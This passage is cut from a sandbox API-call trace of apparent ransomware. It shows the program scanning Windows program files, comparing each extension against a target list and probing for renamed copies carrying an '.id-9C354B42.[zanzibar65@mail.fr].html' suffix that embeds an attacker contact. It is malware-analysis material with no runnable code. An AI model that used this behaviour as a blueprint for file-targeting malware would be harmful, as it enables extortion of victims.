(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.522] lstrlenW (lpString=".doc") returned 4 [0036.522] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0036.522] lstrlenW (lpString=".docx") returned 5 [0036.522] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0036.522] lstrlenW (lpString=".pdf") returned 4 [0036.522] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0036.522] lstrlenW (lpString=".xls") returned 4 [0036.522] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0036.522] lstrlenW (lpString=".xlsx") returned 5 [0036.522] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0036.522] lstrlenW (lpString=".ppt") returned 4 [0036.522] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0036.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.522] lstrlenW (lpString=".zip") returned 4 [0036.522] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0036.522] lstrlenW (lpString=".rar") returned 4 [0036.522] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0036.522] lstrlenW (lpString=".bz2") returned 4 [0036.522] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0036.522] lstrlenW (lpString=".7z") returned 3 [0036.522] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0036.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.522] lstrlenW (lpString=".dbf") returned 4 [0036.522] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0036.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString=".1cd") returned 4 [0036.523] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString=".jpg") returned 4 [0036.523] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString=".doc") returned 4 [0036.523] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0036.523] lstrlenW (lpString=".docx") returned 5 [0036.523] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0036.523] lstrlenW (lpString=".pdf") returned 4 [0036.523] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString=".xls") returned 4 [0036.523] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString=".xlsx") returned 5 [0036.523] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0036.523] lstrlenW (lpString=".ppt") returned 4 [0036.523] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString=".zip") returned 4 [0036.523] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString=".rar") returned 4 [0036.523] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0036.523] lstrlenW (lpString=".bz2") returned 4 [0036.523] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0036.523] lstrlenW (lpString=".7z") returned 3 [0036.523] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.523] lstrlenW (lpString=".dbf") returned 4 [0036.523] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0036.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.524] lstrlenW (lpString=".1cd") returned 4 [0036.524] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0036.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0036.524] lstrlenW (lpString=".jpg") returned 4 [0036.524] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0036.524] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.524] lstrlenW (lpString="auxpad.xml") returned 10 [0036.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.525] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=212) returned 1 [0036.525] CloseHandle (hObject=0x1ac) returned 1 [0036.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0036.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.525] lstrlenW (lpString=".doc") returned 4 [0036.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.525] lstrlenW (lpString=".docx") returned 5 [0036.525] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.525] lstrlenW (lpString=".pdf") returned 4 [0036.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.525] lstrlenW (lpString=".xls") returned 4 [0036.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.525] lstrlenW (lpString=".xlsx") returned 5 [0036.525] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.525] lstrlenW (lpString=".ppt") returned 4 [0036.525] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.525] lstrlenW (lpString=".zip") returned 4 [0036.525] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.525] lstrlenW (lpString=".rar") returned 4 [0036.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString=".bz2") returned 4 [0036.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString=".7z") returned 3 [0036.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString=".dbf") returned 4 [0036.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString=".1cd") returned 4 [0036.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString=".jpg") returned 4 [0036.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString=".doc") returned 4 [0036.526] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString=".docx") returned 5 [0036.526] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.526] lstrlenW (lpString=".pdf") returned 4 [0036.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString=".xls") returned 4 [0036.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString=".xlsx") returned 5 [0036.526] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.526] lstrlenW (lpString=".ppt") returned 4 [0036.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.526] lstrlenW (lpString=".zip") returned 4 [0036.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.526] lstrlenW (lpString=".rar") returned 4 [0036.527] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.527] lstrlenW (lpString=".bz2") returned 4 [0036.527] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.527] lstrlenW (lpString=".7z") returned 3 [0036.527] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.527] lstrlenW (lpString=".dbf") returned 4 [0036.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.527] lstrlenW (lpString=".1cd") returned 4 [0036.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.527] lstrlenW (lpString=".jpg") returned 4 [0036.527] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.527] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.527] lstrlenW (lpString="ea.xml") returned 6 [0036.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.528] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=384) returned 1 [0036.528] CloseHandle (hObject=0x1ac) returned 1 [0036.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0036.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.528] lstrlenW (lpString=".doc") returned 4 [0036.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.528] lstrlenW (lpString=".docx") returned 5 [0036.528] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.528] lstrlenW (lpString=".pdf") returned 4 [0036.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.528] lstrlenW (lpString=".xls") returned 4 [0036.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".xlsx") returned 5 [0036.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.529] lstrlenW (lpString=".ppt") returned 4 [0036.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString=".zip") returned 4 [0036.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.529] lstrlenW (lpString=".rar") returned 4 [0036.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".bz2") returned 4 [0036.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".7z") returned 3 [0036.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString=".dbf") returned 4 [0036.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString=".1cd") returned 4 [0036.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString=".jpg") returned 4 [0036.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.529] lstrlenW (lpString=".doc") returned 4 [0036.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".docx") returned 5 [0036.529] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.529] lstrlenW (lpString=".pdf") returned 4 [0036.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".xls") returned 4 [0036.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.529] lstrlenW (lpString=".xlsx") returned 5 [0036.530] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.530] lstrlenW (lpString=".ppt") returned 4 [0036.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.530] lstrlenW (lpString=".zip") returned 4 [0036.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.530] lstrlenW (lpString=".rar") returned 4 [0036.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.530] lstrlenW (lpString=".bz2") returned 4 [0036.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.530] lstrlenW (lpString=".7z") returned 3 [0036.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.530] lstrlenW (lpString=".dbf") returned 4 [0036.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.530] lstrlenW (lpString=".1cd") returned 4 [0036.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.530] lstrlenW (lpString=".jpg") returned 4 [0036.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.530] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.530] lstrlenW (lpString="keypadbase.xml") returned 14 [0036.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.531] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1118) returned 1 [0036.531] CloseHandle (hObject=0x1ac) returned 1 [0036.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0036.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.531] lstrlenW (lpString=".doc") returned 4 [0036.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString=".docx") returned 5 [0036.532] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.532] lstrlenW (lpString=".pdf") returned 4 [0036.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString=".xls") returned 4 [0036.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString=".xlsx") returned 5 [0036.532] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.532] lstrlenW (lpString=".ppt") returned 4 [0036.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString=".zip") returned 4 [0036.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.532] lstrlenW (lpString=".rar") returned 4 [0036.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString=".bz2") returned 4 [0036.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString=".7z") returned 3 [0036.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString=".dbf") returned 4 [0036.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString=".1cd") returned 4 [0036.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString=".jpg") returned 4 [0036.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.532] lstrlenW (lpString=".doc") returned 4 [0036.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString=".docx") returned 5 [0036.533] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.533] lstrlenW (lpString=".pdf") returned 4 [0036.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString=".xls") returned 4 [0036.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString=".xlsx") returned 5 [0036.533] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.533] lstrlenW (lpString=".ppt") returned 4 [0036.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.533] lstrlenW (lpString=".zip") returned 4 [0036.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.533] lstrlenW (lpString=".rar") returned 4 [0036.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString=".bz2") returned 4 [0036.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString=".7z") returned 3 [0036.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.533] lstrlenW (lpString=".dbf") returned 4 [0036.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.533] lstrlenW (lpString=".1cd") returned 4 [0036.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.533] lstrlenW (lpString=".jpg") returned 4 [0036.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.533] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.534] lstrlenW (lpString="kor-kor.xml") returned 11 [0036.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.534] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=392) returned 1 [0036.534] CloseHandle (hObject=0x1ac) returned 1 [0036.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0036.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.534] lstrlenW (lpString=".doc") returned 4 [0036.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.534] lstrlenW (lpString=".docx") returned 5 [0036.534] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0036.534] lstrlenW (lpString=".pdf") returned 4 [0036.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.534] lstrlenW (lpString=".xls") returned 4 [0036.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.534] lstrlenW (lpString=".xlsx") returned 5 [0036.534] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0036.534] lstrlenW (lpString=".ppt") returned 4 [0036.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.534] lstrlenW (lpString=".zip") returned 4 [0036.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.535] lstrlenW (lpString=".rar") returned 4 [0036.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString=".bz2") returned 4 [0036.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString=".7z") returned 3 [0036.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString=".dbf") returned 4 [0036.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString=".1cd") returned 4 [0036.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 